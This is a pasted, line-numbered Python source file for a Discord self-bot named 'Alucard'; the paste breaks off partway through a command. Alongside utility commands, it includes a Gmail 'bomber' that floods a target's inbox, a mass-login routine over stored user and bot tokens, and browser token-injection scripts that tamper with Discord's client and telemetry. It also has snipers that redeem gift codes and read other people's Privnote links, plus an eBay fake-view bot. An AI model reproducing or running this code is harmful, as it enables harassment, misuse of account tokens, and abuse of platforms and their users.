· 5 years ago · Sep 09, 2020, 02:08 AM
1class SELFBOT():
2 __linecount__ = 1933
3 __version__ = 3.4
4
5import discord, subprocess, sys, time, os, colorama, base64, codecs, datetime, io, random, numpy, datetime, smtplib, string, ctypes
6import urllib.parse, urllib.request, re, json, requests, webbrowser, aiohttp, dns.name, asyncio, functools, logging
7
8from discord.ext import (
9 commands,
10 tasks
11)
12from bs4 import BeautifulSoup as bs4
13from urllib.parse import urlencode
14from pymongo import MongoClient
15from selenium import webdriver
16from threading import Thread
17from subprocess import call
18from itertools import cycle
19from colorama import Fore
20from sys import platform
21from PIL import Image
22import pyPrivnote as pn
23from gtts import gTTS
24
25ctypes.windll.kernel32.SetConsoleTitleW(f'[Alucard Selfbot v{SELFBOT.__version__}] | Loading...')
26
27with open('config.json') as f:
28 config = json.load(f)
29
30token = config.get('token')
31password = config.get('password')
32prefix = config.get('prefix')
33
34giveaway_sniper = config.get('giveaway_sniper')
35slotbot_sniper = config.get('slotbot_sniper')
36nitro_sniper = config.get('nitro_sniper')
37privnote_sniper = config.get('privnote_sniper')
38
39stream_url = config.get('stream_url')
40tts_language = config.get('tts_language')
41
42bitly_key = config.get('bitly_key')
43cat_key = config.get('cat_key')
44weather_key = config.get('weather_key')
45cuttly_key = config.get('cuttly_key')
46
47width = os.get_terminal_size().columns
48hwid = subprocess.check_output('wmic csproduct get uuid').decode().split('\n')[1].strip()
49start_time = datetime.datetime.utcnow()
50loop = asyncio.get_event_loop()
51
52languages = {
53 'hu' : 'Hungarian, Hungary',
54 'nl' : 'Dutch, Netherlands',
55 'no' : 'Norwegian, Norway',
56 'pl' : 'Polish, Poland',
57 'pt-BR' : 'Portuguese, Brazilian, Brazil',
58 'ro' : 'Romanian, Romania',
59 'fi' : 'Finnish, Finland',
60 'sv-SE' : 'Swedish, Sweden',
61 'vi' : 'Vietnamese, Vietnam',
62 'tr' : 'Turkish, Turkey',
63 'cs' : 'Czech, Czechia, Czech Republic',
64 'el' : 'Greek, Greece',
65 'bg' : 'Bulgarian, Bulgaria',
66 'ru' : 'Russian, Russia',
67 'uk' : 'Ukranian, Ukraine',
68 'th' : 'Thai, Thailand',
69 'zh-CN' : 'Chinese, China',
70 'ja' : 'Japanese',
71 'zh-TW' : 'Chinese, Taiwan',
72 'ko' : 'Korean, Korea'
73}
74
75locales = [
76 "da", "de",
77 "en-GB", "en-US",
78 "es-ES", "fr",
79 "hr", "it",
80 "lt", "hu",
81 "nl", "no",
82 "pl", "pt-BR",
83 "ro", "fi",
84 "sv-SE", "vi",
85 "tr", "cs",
86 "el", "bg",
87 "ru", "uk",
88 "th", "zh-CN",
89 "ja", "zh-TW",
90 "ko"
91]
92
93m_numbers = [
94 ":one:",
95 ":two:",
96 ":three:",
97 ":four:",
98 ":five:",
99 ":six:"
100]
101
102m_offets = [
103 (-1, -1),
104 (0, -1),
105 (1, -1),
106 (-1, 0),
107 (1, 0),
108 (-1, 1),
109 (0, 1),
110 (1, 1)
111]
112
113def startprint():
114 if giveaway_sniper == True:
115 giveaway = "Active"
116 else:
117 giveaway = "Disabled"
118
119 if nitro_sniper == True:
120 nitro = "Active"
121 else:
122 nitro = "Disabled"
123
124 if slotbot_sniper == True:
125 slotbot = "Active"
126 else:
127 slotbot = "Disabled"
128
129 if privnote_sniper == True:
130 privnote = "Active"
131 else:
132 privnote = "Disabled"
133
134 print(f'''{Fore.RESET}
135 ▄▄▄ ██▓ █ ██ ▄████▄ ▄▄▄ ██▀███ ▓█████▄
136 ▒████▄ ▓██▒ ██ ▓██▒▒██▀ ▀█ ▒████▄ ▓██ ▒ ██▒▒██▀ ██▌
137 ▒██ ▀█▄ ▒██░ ▓██ ▒██░▒▓█ ▄ ▒██ ▀█▄ ▓██ ░▄█ ▒░██ █▌
138 ░██▄▄▄▄██ ▒██░ ▓▓█ ░██░▒▓▓▄ ▄██▒░██▄▄▄▄██ ▒██▀▀█▄ ░▓█▄ ▌
139 ▓█ ▓██▒░██████▒▒▒█████▓ ▒ ▓███▀ ░ ▓█ ▓██▒░██▓ ▒██▒░▒████▓
140 ▒▒ ▓▒█░░ ▒░▓ ░░▒▓▒ ▒ ▒ ░ ░▒ ▒ ░ ▒▒ ▓▒█░░ ▒▓ ░▒▓░ ▒▒▓ ▒
141 ▒ ▒▒ ░░ ░ ▒ ░░░▒░ ░ ░ ░ ▒ ▒ ▒▒ ░ ░▒ ░ ▒░ ░ ▒ ▒
142 ░ ▒ ░ ░ ░░░ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░
143 ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
144
145
146 {Fore.CYAN}Alucard {SELFBOT.__version__} | {Fore.GREEN}Logged in as: {Alucard.user.name}#{Alucard.user.discriminator} {Fore.CYAN}| ID: {Fore.GREEN}{Alucard.user.id}
147 {Fore.CYAN}Privnote Sniper | {Fore.GREEN}{privnote}
148 {Fore.CYAN}Nitro Sniper | {Fore.GREEN}{nitro}
149 {Fore.CYAN}Giveaway Sniper | {Fore.GREEN}{giveaway}
150 {Fore.CYAN}SlotBot Sniper | {Fore.GREEN}{slotbot}
151 {Fore.CYAN}Prefix: {Fore.GREEN}{prefix}
152 '''+Fore.RESET)
153
154def Clear():
155 os.system('cls')
156Clear()
157
158def Init():
159 if config.get('token') == "token-here":
160 Clear()
161 print(f"{Fore.RED}[ERROR] {Fore.YELLOW}You didnt put your token in the config.json file"+Fore.RESET)
162 else:
163 token = config.get('token')
164 try:
165 Alucard.run(token, bot=False, reconnect=True)
166 os.system(f'title (Alucard Selfbot) - Version {SELFBOT.__version__}')
167 except discord.errors.LoginFailure:
168 print(f"{Fore.RED}[ERROR] {Fore.YELLOW}Improper token has been passed"+Fore.RESET)
169 os.system('pause >NUL')
170
171def GmailBomber():
172 _smpt = smtplib.SMTP('smtp.gmail.com', 587)
173 _smpt.starttls()
174 username = input('Gmail: ')
175 password = input('Gmail Password: ')
176 try:
177 _smpt.login(username, password)
178 except:
179 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW} Incorrect Password or gmail, make sure you've enabled less-secure apps access"+Fore.RESET)
180 target = input('Target Gmail: ')
181 message = input('Message to send: ')
182 counter = eval(input('Ammount of times: '))
183 count = 0
184 while count < counter:
185 count = 0
186 _smpt.sendmail(username, target, message)
187 count += 1
188 if count == counter:
189 pass
190
191def GenAddress(addy: str):
192 letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
193 four_char = ''.join(random.choice(letters) for _ in range(4))
194 should_abbreviate = random.randint(0,1)
195 if should_abbreviate == 0:
196 if "street" in addy.lower():
197 addy = addy.replace("Street", "St.")
198 addy = addy.replace("street", "St.")
199 elif "st." in addy.lower():
200 addy = addy.replace("st.", "Street")
201 addy = addy.replace("St.", "Street")
202 if "court" in addy.lower():
203 addy = addy.replace("court", "Ct.")
204 addy = addy.replace("Court", "Ct.")
205 elif "ct." in addy.lower():
206 addy = addy.replace("ct.", "Court")
207 addy = addy.replace("Ct.", "Court")
208 if "rd." in addy.lower():
209 addy = addy.replace("rd.", "Road")
210 addy = addy.replace("Rd.", "Road")
211 elif "road" in addy.lower():
212 addy = addy.replace("road", "Rd.")
213 addy = addy.replace("Road", "Rd.")
214 if "dr." in addy.lower():
215 addy = addy.replace("dr.", "Drive")
216 addy = addy.replace("Dr.", "Drive")
217 elif "drive" in addy.lower():
218 addy = addy.replace("drive", "Dr.")
219 addy = addy.replace("Drive", "Dr.")
220 if "ln." in addy.lower():
221 addy = addy.replace("ln.", "Lane")
222 addy = addy.replace("Ln.", "Lane")
223 elif "lane" in addy.lower():
224 addy = addy.replace("lane", "Ln.")
225 addy = addy.replace("lane", "Ln.")
226 random_number = random.randint(1,99)
227 extra_list = ["Apartment", "Unit", "Room"]
228 random_extra = random.choice(extra_list)
229 return four_char + " " + addy + " " + random_extra + " " + str(random_number)
230
231def BotTokens():
232 with open('Data/Tokens/bot-tokens.txt', 'a+') as f:
233 tokens = {token.strip() for token in f if token}
234 for token in tokens:
235 yield token
236
237def UserTokens():
238 with open('Data/Tokens/user-tokens.txt', 'a+') as f:
239 tokens = {token.strip() for token in f if token}
240 for token in tokens:
241 yield token
242
243class Login(discord.Client):
244 async def on_connect(self):
245 guilds = len(self.guilds)
246 users = len(self.users)
247 print("")
248 print(f"Connected to: [{self.user.name}]")
249 print(f"Token: {self.http.token}")
250 print(f"Guilds: {guilds}")
251 print(f"Users: {users}")
252 print("-------------------------------")
253 await self.logout()
254
255def _masslogin(choice):
256 if choice == 'user':
257 for token in UserTokens():
258 loop.run_until_complete(Login().start(token, bot=False))
259 elif choice == 'bot':
260 for token in BotTokens():
261 loop.run_until_complete(Login().start(token, bot=True))
262 else:
263 return
264
265def async_executor():
266 def outer(func):
267 @functools.wraps(func)
268 def inner(*args, **kwargs):
269 thing = functools.partial(func, *args, **kwargs)
270 return loop.run_in_executor(None, thing)
271 return inner
272 return outer
273
274@async_executor()
275def do_tts(message):
276 f = io.BytesIO()
277 tts = gTTS(text=message.lower(), lang=tts_language)
278 tts.write_to_fp(f)
279 f.seek(0)
280 return f
281
282def Dump(ctx):
283 for member in ctx.guild.members:
284 f = open(f'Images/{ctx.guild.id}-Dump.txt', 'a+')
285 f.write(str(member.avatar_url)+'\n')
286
287def Nitro():
288 code = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
289 return f'https://discord.gift/{code}'
290
291def RandomColor():
292 randcolor = discord.Color(random.randint(0x000000, 0xFFFFFF))
293 return randcolor
294
295def RandString():
296 return "".join(random.choice(string.ascii_letters + string.digits) for i in range(random.randint(14, 32)))
297
298colorama.init()
299Alucard = discord.Client()
300Alucard = commands.Bot(
301 description='Alucard Selfbot',
302 command_prefix=prefix,
303 self_bot=True
304)
305Alucard.remove_command('help')
306
307@tasks.loop(seconds=3)
308async def btc_status():
309 r = requests.get('https://api.coindesk.com/v1/bpi/currentprice/btc.json').json()
310 value = r['bpi']['USD']['rate']
311 await asyncio.sleep(3)
312 btc_stream = discord.Streaming(
313 name="Current BTC price: "+value+"$ USD",
314 url="https://www.twitch.tv/monstercat",
315 )
316 await Alucard.change_presence(activity=btc_stream)
317
318@Alucard.event
319async def on_command_error(ctx, error):
320 error_str = str(error)
321 error = getattr(error, 'original', error)
322 if isinstance(error, commands.CommandNotFound):
323 return
324 elif isinstance(error, commands.CheckFailure):
325 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}You're missing permission to execute this command"+Fore.RESET)
326 elif isinstance(error, commands.MissingRequiredArgument):
327 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}Missing arguments: {error}"+Fore.RESET)
328 elif isinstance(error, numpy.AxisError):
329 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}Not a valid image"+Fore.RESET)
330 elif isinstance(error, discord.errors.Forbidden):
331 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}Discord error: {error}"+Fore.RESET)
332 elif "Cannot send an empty message" in error_str:
333 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}Couldnt send a empty message"+Fore.RESET)
334 else:
335 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{error_str}"+Fore.RESET)
336
337@Alucard.event
338async def on_message_edit(before, after):
339 await Alucard.process_commands(after)
340
341@Alucard.event
342async def on_message(message):
343
344 def GiveawayData():
345 print(
346 f"{Fore.WHITE} - CHANNEL: {Fore.YELLOW}[{message.channel}]"
347 f"\n{Fore.WHITE} - SERVER: {Fore.YELLOW}[{message.guild}]"
348 +Fore.RESET)
349
350 def SlotBotData():
351 print(
352 f"{Fore.WHITE} - CHANNEL: {Fore.YELLOW}[{message.channel}]"
353 f"\n{Fore.WHITE} - SERVER: {Fore.YELLOW}[{message.guild}]"
354 +Fore.RESET)
355
356 def NitroData(elapsed, code):
357 print(
358 f"{Fore.WHITE} - CHANNEL: {Fore.YELLOW}[{message.channel}]"
359 f"\n{Fore.WHITE} - SERVER: {Fore.YELLOW}[{message.guild}]"
360 f"\n{Fore.WHITE} - AUTHOR: {Fore.YELLOW}[{message.author}]"
361 f"\n{Fore.WHITE} - ELAPSED: {Fore.YELLOW}[{elapsed}]"
362 f"\n{Fore.WHITE} - CODE: {Fore.YELLOW}{code}"
363 +Fore.RESET)
364
365 def PrivnoteData(code):
366 print(
367 f"{Fore.WHITE} - CHANNEL: {Fore.YELLOW}[{message.channel}]"
368 f"\n{Fore.WHITE} - SERVER: {Fore.YELLOW}[{message.guild}]"
369 f"\n{Fore.WHITE} - CONTENT: {Fore.YELLOW}[The content can be found at Privnote/{code}.txt]"
370 +Fore.RESET)
371
372 time = datetime.datetime.now().strftime("%H:%M %p")
373 if 'discord.gift/' in message.content:
374 if nitro_sniper == True:
375 start = datetime.datetime.now()
376 code = re.search("discord.gift/(.*)", message.content).group(1)
377 token = config.get('token')
378
379 headers = {'Authorization': token}
380
381 r = requests.post(
382 f'https://discordapp.com/api/v6/entitlements/gift-codes/{code}/redeem',
383 headers=headers,
384 ).text
385
386 elapsed = datetime.datetime.now() - start
387 elapsed = f'{elapsed.seconds}.{elapsed.microseconds}'
388
389 if 'This gift has been redeemed already.' in r:
390 print(""
391 f"\n{Fore.CYAN}[{time} - Nitro Already Redeemed]"+Fore.RESET)
392 NitroData(elapsed, code)
393
394 elif 'subscription_plan' in r:
395 print(""
396 f"\n{Fore.CYAN}[{time} - Nitro Success]"+Fore.RESET)
397 NitroData(elapsed, code)
398
399 elif 'Unknown Gift Code' in r:
400 print(""
401 f"\n{Fore.CYAN}[{time} - Nitro Unknown Gift Code]"+Fore.RESET)
402 NitroData(elapsed, code)
403 else:
404 return
405
406 if 'Someone just dropped' in message.content:
407 if slotbot_sniper == True:
408 if message.author.id == 346353957029019648:
409 try:
410 await message.channel.send('~grab')
411 except discord.errors.Forbidden:
412 print(""
413 f"\n{Fore.CYAN}[{time} - SlotBot Couldnt Grab]"+Fore.RESET)
414 SlotBotData()
415 print(""
416 f"\n{Fore.CYAN}[{time} - Slotbot Grabbed]"+Fore.RESET)
417 SlotBotData()
418 else:
419 return
420
421 if 'GIVEAWAY' in message.content:
422 if giveaway_sniper == True:
423 if message.author.id == 294882584201003009:
424 try:
425 await message.add_reaction("?")
426 except discord.errors.Forbidden:
427 print(""
428 f"\n{Fore.CYAN}[{time} - Giveaway Couldnt React]"+Fore.RESET)
429 GiveawayData()
430 print(""
431 f"\n{Fore.CYAN}[{time} - Giveaway Sniped]"+Fore.RESET)
432 GiveawayData()
433 else:
434 return
435
436 if f'Congratulations <@{Alucard.user.id}>' in message.content:
437 if giveaway_sniper == True:
438 if message.author.id == 294882584201003009:
439 print(""
440 f"\n{Fore.CYAN}[{time} - Giveaway Won]"+Fore.RESET)
441 GiveawayData()
442 else:
443 return
444
445 if 'privnote.com' in message.content:
446 if privnote_sniper == True:
447 code = re.search('privnote.com/(.*)', message.content).group(1)
448 link = 'https://privnote.com/'+code
449 try:
450 note_text = pn.read_note(link)
451 except Exception as e:
452 print(e)
453 with open(f'Privnote/{code}.txt', 'a+') as f:
454 print(""
455 f"\n{Fore.CYAN}[{time} - Privnote Sniped]"+Fore.RESET)
456 PrivnoteData(code)
457 f.write(note_text)
458 else:
459 return
460 await Alucard.process_commands(message)
461
462@Alucard.event
463async def on_connect():
464 Clear()
465
466 if giveaway_sniper == True:
467 giveaway = "Active"
468 else:
469 giveaway = "Disabled"
470
471 if nitro_sniper == True:
472 nitro = "Active"
473 else:
474 nitro = "Disabled"
475
476 if slotbot_sniper == True:
477 slotbot = "Active"
478 else:
479 slotbot = "Disabled"
480
481 if privnote_sniper == True:
482 privnote = "Active"
483 else:
484 privnote = "Disabled"
485
486 startprint()
487 ctypes.windll.kernel32.SetConsoleTitleW(f'[Alucard Selfbot v{SELFBOT.__version__}] | Logged in as {Alucard.user.name}')
488
489@Alucard.command()
490async def clear(ctx): # b'\xfc'
491 await ctx.message.delete()
492 await ctx.send('ᅠᅠ'+'\n' * 400 + 'ᅠᅠ')
493
494@Alucard.command()
495async def genname(ctx): # b'\xfc'
496 await ctx.message.delete()
497 first, second = random.choices(ctx.guild.members, k=2)
498 first = first.display_name[len(first.display_name) // 2:]
499 second = second.display_name[:len(second.display_name) // 2]
500 await ctx.send(discord.utils.escape_mentions(second + first))
501
502@Alucard.command()
503async def lmgtfy(ctx, *, message): # b'\xfc'
504 await ctx.message.delete()
505 q = urlencode({"q": message})
506 await ctx.send(f'<https://lmgtfy.com/?{q}>')
507
508@Alucard.command()
509async def login(ctx, _token): # b'\xfc'
510 await ctx.message.delete()
511 opts = webdriver.ChromeOptions()
512 opts.add_experimental_option("detach", True)
513 driver = webdriver.Chrome('chromedriver.exe', options=opts)
514 script = """
515 function login(token) {
516 setInterval(() => {
517 document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"${token}"`
518 }, 50);
519 setTimeout(() => {
520 location.reload();
521 }, 2500);
522 }
523 """
524 driver.get("https://discordapp.com/login")
525 driver.execute_script(script+f'\nlogin("{_token}")')
526
527@Alucard.command()
528async def botlogin(ctx, _token): # b'\xfc'
529 await ctx.message.delete()
530 opts = webdriver.ChromeOptions()
531 opts.add_experimental_option("detach", True)
532 driver = webdriver.Chrome('chromedriver.exe', options=opts)
533 script = """
534 function login(token) {
535 ((i) => {
536 window.webpackJsonp.push([
537 [i], {
538 [i]: (n, b, d) => {
539 let dispatcher;
540 for (let key in d.c) {
541 if (d.c[key].exports) {
542 const module = d.c[key].exports.default || d.c[key].exports;
543 if (typeof(module) === 'object') {
544 if ('setToken' in module) {
545 module.setToken(token);
546 module.hideToken = () => {};
547 }
548 if ('dispatch' in module && '_subscriptions' in module) {
549 dispatcher = module;
550 }
551 if ('AnalyticsActionHandlers' in module) {
552 console.log('AnalyticsActionHandlers', module);
553 module.AnalyticsActionHandlers.handleTrack = (track) => {};
554 }
555 } else if (typeof(module) === 'function' && 'prototype' in module) {
556 const descriptors = Object.getOwnPropertyDescriptors(module.prototype);
557 if ('_discoveryFailed' in descriptors) {
558 const connect = module.prototype._connect;
559 module.prototype._connect = function(url) {
560 console.log('connect', url);
561 const oldHandleIdentify = this.handleIdentify;
562 this.handleIdentify = () => {
563 const identifyData = oldHandleIdentify();
564 identifyData.token = identifyData.token.split(' ').pop();
565 return identifyData;
566 };
567 const oldHandleDispatch = this._handleDispatch;
568 this._handleDispatch = function(data, type) {
569 if (type === 'READY') {
570 console.log(data);
571 data.user.bot = false;
572 data.user.email = 'Alucard-Was-Here@Fuckyou.com';
573 data.analytics_tokens = [];
574 data.connected_accounts = [];
575 data.consents = [];
576 data.experiments = [];
577 data.guild_experiments = [];
578 data.relationships = [];
579 data.user_guild_settings = [];
580 }
581 return oldHandleDispatch.call(this, data, type);
582 }
583 return connect.call(this, url);
584 };
585 }
586 }
587 }
588 }
589 console.log(dispatcher);
590 if (dispatcher) {
591 dispatcher.dispatch({
592 type: 'LOGIN_SUCCESS',
593 token
594 });
595 }
596 },
597 },
598 [
599 [i],
600 ],
601 ]);
602 })(Math.random());
603 }
604 """
605 driver.get("https://discordapp.com/login")
606 driver.execute_script(script+f'\nlogin("Bot {_token}")')
607
608@Alucard.command()
609async def address(ctx, *, text): # b'\xfc'
610 await ctx.message.delete()
611 addy = ' '.join(text)
612 address_array = []
613 i = 0
614 while i < 10:
615 address_array.append(GenAddress(addy))
616 i+=1
617 final_str = "\n".join(address_array)
618 em = discord.Embed(description=final_str)
619 try:
620 await ctx.send(embed=em)
621 except:
622 await ctx.send(final_str)
623
624@Alucard.command()
625async def weather(ctx, *, city): # b'\xfc'
626 await ctx.message.delete()
627 if weather_key == '':
628 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}Weather API key has not been set in the config.json file"+Fore.RESET)
629 else:
630 try:
631 req = requests.get(f'http://api.openweathermap.org/data/2.5/weather?q={city}&appid={weather_key}')
632 r = req.json()
633 temperature = round(float(r["main"]["temp"]) - 273.15, 1)
634 lowest = round(float(r["main"]["temp_min"]) - 273.15, 1)
635 highest = round(float(r["main"]["temp_max"]) - 273.15, 1)
636 weather = r["weather"][0]["main"]
637 humidity = round(float(r["main"]["humidity"]), 1)
638 wind_speed = round(float(r["wind"]["speed"]), 1)
639 em = discord.Embed(description=f'''
640 Temperature: `{temperature}`
641 Lowest: `{lowest}`
642 Highest: `{highest}`
643 Weather: `{weather}`
644 Humidity: `{humidity}`
645 Wind Speed: `{wind_speed}`
646 ''')
647 em.add_field(name='City', value=city.capitalize())
648 em.set_thumbnail(url='https://ak0.picdn.net/shutterstock/videos/1019313310/thumb/1.jpg')
649 try:
650 await ctx.send(embed=em)
651 except:
652 await ctx.send(f'''
653 Temperature: {temperature}
654 Lowest: {lowest}
655 Highest: {highest}
656 Weather: {weather}
657 Humidity: {humidity}
658 Wind Speed: {wind_speed}
659 City: {city.capitalize()}
660 ''')
661 except KeyError:
662 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{city} Is not a real city"+Fore.RESET)
663 else:
664 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{req.text}"+Fore.RESET)
665
666@Alucard.command(aliases=['shorteen'])
667async def bitly(ctx, *, link): # b'\xfc'
668 await ctx.message.delete()
669 if bitly_key == '':
670 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}Bitly API key has not been set in the config.json file"+Fore.RESET)
671 else:
672 try:
673 async with aiohttp.ClientSession() as session:
674 async with session.get(f'https://api-ssl.bitly.com/v3/shorten?longUrl={link}&domain=bit.ly&format=json&access_token={bitly_key}') as req:
675 r = await req.read()
676 r = json.loads(r)
677 new = r['data']['url']
678 em = discord.Embed()
679 em.add_field(name='Shortened link', value=new, inline=False)
680 await ctx.send(embed=em)
681 except Exception as e:
682 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
683 else:
684 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{req.text}"+Fore.RESET)
685
686@Alucard.command()
687async def cuttly(ctx, *, link): # b'\xfc'
688 await ctx.message.delete()
689 if cuttly_key == '':
690 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}Cutt.ly API key has not been set in the config.json file"+Fore.RESET)
691 else:
692 try:
693 req = requests.get(f'https://cutt.ly/api/api.php?key={cuttly_key}&short={link}')
694 r = req.json()
695 new = r['url']['shortLink']
696 em = discord.Embed()
697 em.add_field(name='Shortened link', value=new, inline=False)
698 try:
699 await ctx.send(embed=em)
700 except:
701 await ctx.send(new)
702 except Exception as e:
703 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
704 else:
705 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{req.text}"+Fore.RESET)
706
707@Alucard.command()
708async def cat(ctx): # b'\xfc'
709 await ctx.message.delete()
710 if cat_key == '':
711 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}Cat API key has not been set in the config.json file"+Fore.RESET)
712 else:
713 try:
714 req = requests.get(f"https://api.thecatapi.com/v1/images/search?format=json&x-api-key={cat_key}")
715 r = req.json()
716 em = discord.Embed()
717 em.set_image(url=str(r[0]["url"]))
718 try:
719 await ctx.send(embed=em)
720 except:
721 await ctx.send(str(r[0]["url"]))
722 except Exception as e:
723 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
724 else:
725 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{req.text}"+Fore.RESET)
726
727@Alucard.command()
728async def dog(ctx): # b'\xfc'
729 await ctx.message.delete()
730 r = requests.get("https://dog.ceo/api/breeds/image/random").json()
731 em = discord.Embed()
732 em.set_image(url=str(r['message']))
733 try:
734 await ctx.send(embed=em)
735 except:
736 await ctx.send(str(r['message']))
737
738@Alucard.command()
739async def fox(ctx): # b'\xfc'
740 await ctx.message.delete()
741 r = requests.get('https://randomfox.ca/floof/').json()
742 em = discord.Embed(title="Random fox image", color=16202876)
743 em.set_image(url=r["image"])
744 try:
745 await ctx.send(embed=em)
746 except:
747 await ctx.send(r['image'])
748
749@Alucard.command()
750async def encode(ctx, string): # b'\xfc'
751 await ctx.message.delete()
752 decoded_stuff = base64.b64encode('{}'.format(string).encode('ascii'))
753 encoded_stuff = str(decoded_stuff)
754 encoded_stuff = encoded_stuff[2:len(encoded_stuff)-1]
755 await ctx.send(encoded_stuff)
756
757@Alucard.command()
758async def decode(ctx, string): # b'\xfc'+
759 await ctx.message.delete()
760 strOne = (string).encode("ascii")
761 pad = len(strOne)%4
762 strOne += b"="*pad
763 encoded_stuff = codecs.decode(strOne.strip(),'base64')
764 decoded_stuff = str(encoded_stuff)
765 decoded_stuff = decoded_stuff[2:len(decoded_stuff)-1]
766 await ctx.send(decoded_stuff)
767
768@Alucard.command(name='ebay-view', aliases=['ebay-view-bot', 'ebayviewbot', 'ebayview'])
769async def _ebay_view(ctx, url, views: int): # b'\xfc'
770 await ctx.message.delete()
771 start_time = datetime.datetime.now()
772 def EbayViewer(url, views):
773 headers = {
774 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36",
775 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
776 }
777 for _i in range(views):
778 requests.get(url, headers=headers)
779 EbayViewer(url, views)
780 elapsed_time = datetime.datetime.now() - start_time
781 em = discord.Embed(title='Ebay View Bot')
782 em.add_field(name='Views sent', value=views, inline=False)
783 em.add_field(name='Elapsed time', value=elapsed_time, inline=False)
784 await ctx.send(embed=em)
785
786@Alucard.command(aliases=['geolocate', 'iptogeo', 'iptolocation', 'ip2geo', 'ip'])
787async def geoip(ctx, *, ipaddr: str = '1.3.3.7'): # b'\xfc'
788 await ctx.message.delete()
789 r = requests.get(f'http://extreme-ip-lookup.com/json/{ipaddr}')
790 geo = r.json()
791 em = discord.Embed()
792 fields = [
793 {'name': 'IP', 'value': geo['query']},
794 {'name': 'ipType', 'value': geo['ipType']},
795 {'name': 'Country', 'value': geo['country']},
796 {'name': 'City', 'value': geo['city']},
797 {'name': 'Continent', 'value': geo['continent']},
798 {'name': 'Country', 'value': geo['country']},
799 {'name': 'IPName', 'value': geo['ipName']},
800 {'name': 'ISP', 'value': geo['isp']},
801 {'name': 'Latitute', 'value': geo['lat']},
802 {'name': 'Longitude', 'value': geo['lon']},
803 {'name': 'Org', 'value': geo['org']},
804 {'name': 'Region', 'value': geo['region']},
805 {'name': 'Status', 'value': geo['status']},
806 ]
807 for field in fields:
808 if field['value']:
809 em.add_field(name=field['name'], value=field['value'], inline=True)
810 return await ctx.send(embed=em)
811
812@Alucard.command()
813async def pingweb(ctx, website = None): # b'\xfc'
814 await ctx.message.delete()
815 if website is None:
816 pass
817 else:
818 try:
819 r = requests.get(website).status_code
820 except Exception as e:
821 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
822 if r == 404:
823 await ctx.send(f'Site is down, responded with a status code of {r}', delete_after=3)
824 else:
825 await ctx.send(f'Site is up, responded with a status code of {r}', delete_after=3)
826
827@Alucard.command()
828async def tweet(ctx, username: str, *, message: str): # b'\xfc'
829 await ctx.message.delete()
830 async with aiohttp.ClientSession() as cs:
831 async with cs.get(f"https://nekobot.xyz/api/imagegen?type=tweet&username={username}&text={message}") as r:
832 res = await r.json()
833 em = discord.Embed()
834 em.set_image(url=res["message"])
835 await ctx.send(embed=em)
836
837@Alucard.command()
838async def revav(ctx, user: discord.Member=None): # b'\xfc'
839 await ctx.message.delete()
840 if user is None:
841 user = ctx.author
842 try:
843 em = discord.Embed(description=f"https://images.google.com/searchbyimage?image_url={user.avatar_url}")
844 await ctx.send(embed=em)
845 except Exception as e:
846 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
847
848@Alucard.command(aliases=['pfp', 'avatar'])
849async def av(ctx, *, user: discord.Member=None): # b'\xfc'
850 await ctx.message.delete()
851 format = "gif"
852 user = user or ctx.author
853 if user.is_avatar_animated() != True:
854 format = "png"
855 avatar = user.avatar_url_as(format = format if format != "gif" else None)
856 async with aiohttp.ClientSession() as session:
857 async with session.get(str(avatar)) as resp:
858 image = await resp.read()
859 with io.BytesIO(image) as file:
860 await ctx.send(file = discord.File(file, f"Avatar.{format}"))
861
862@Alucard.command(aliases=['ri', 'role'])
863async def roleinfo(ctx, *, role: discord.Role): # b'\xfc'
864 await ctx.message.delete()
865 guild = ctx.guild
866 since_created = (ctx.message.created_at - role.created_at).days
867 role_created = role.created_at.strftime("%d %b %Y %H:%M")
868 created_on = "{} ({} days ago)".format(role_created, since_created)
869 users = len([x for x in guild.members if role in x.roles])
870 if str(role.colour) == "#000000":
871 colour = "default"
872 color = ("#%06x" % random.randint(0, 0xFFFFFF))
873 color = int(colour[1:], 16)
874 else:
875 colour = str(role.colour).upper()
876 color = role.colour
877 em = discord.Embed(colour=color)
878 em.set_author(name=f"Name: {role.name}"
879 f"\nRole ID: {role.id}")
880 em.add_field(name="Users", value=users)
881 em.add_field(name="Mentionable", value=role.mentionable)
882 em.add_field(name="Hoist", value=role.hoist)
883 em.add_field(name="Position", value=role.position)
884 em.add_field(name="Managed", value=role.managed)
885 em.add_field(name="Colour", value=colour)
886 em.add_field(name='Creation Date', value=created_on)
887 await ctx.send(embed=em)
888
889@Alucard.command()
890async def whois(ctx, *, user: discord.Member = None): # b'\xfc'
891 await ctx.message.delete()
892 if user is None:
893 user = ctx.author
894 date_format = "%a, %d %b %Y %I:%M %p"
895 em = discord.Embed(description=user.mention)
896 em.set_author(name=str(user), icon_url=user.avatar_url)
897 em.set_thumbnail(url=user.avatar_url)
898 em.add_field(name="Joined", value=user.joined_at.strftime(date_format))
899 members = sorted(ctx.guild.members, key=lambda m: m.joined_at)
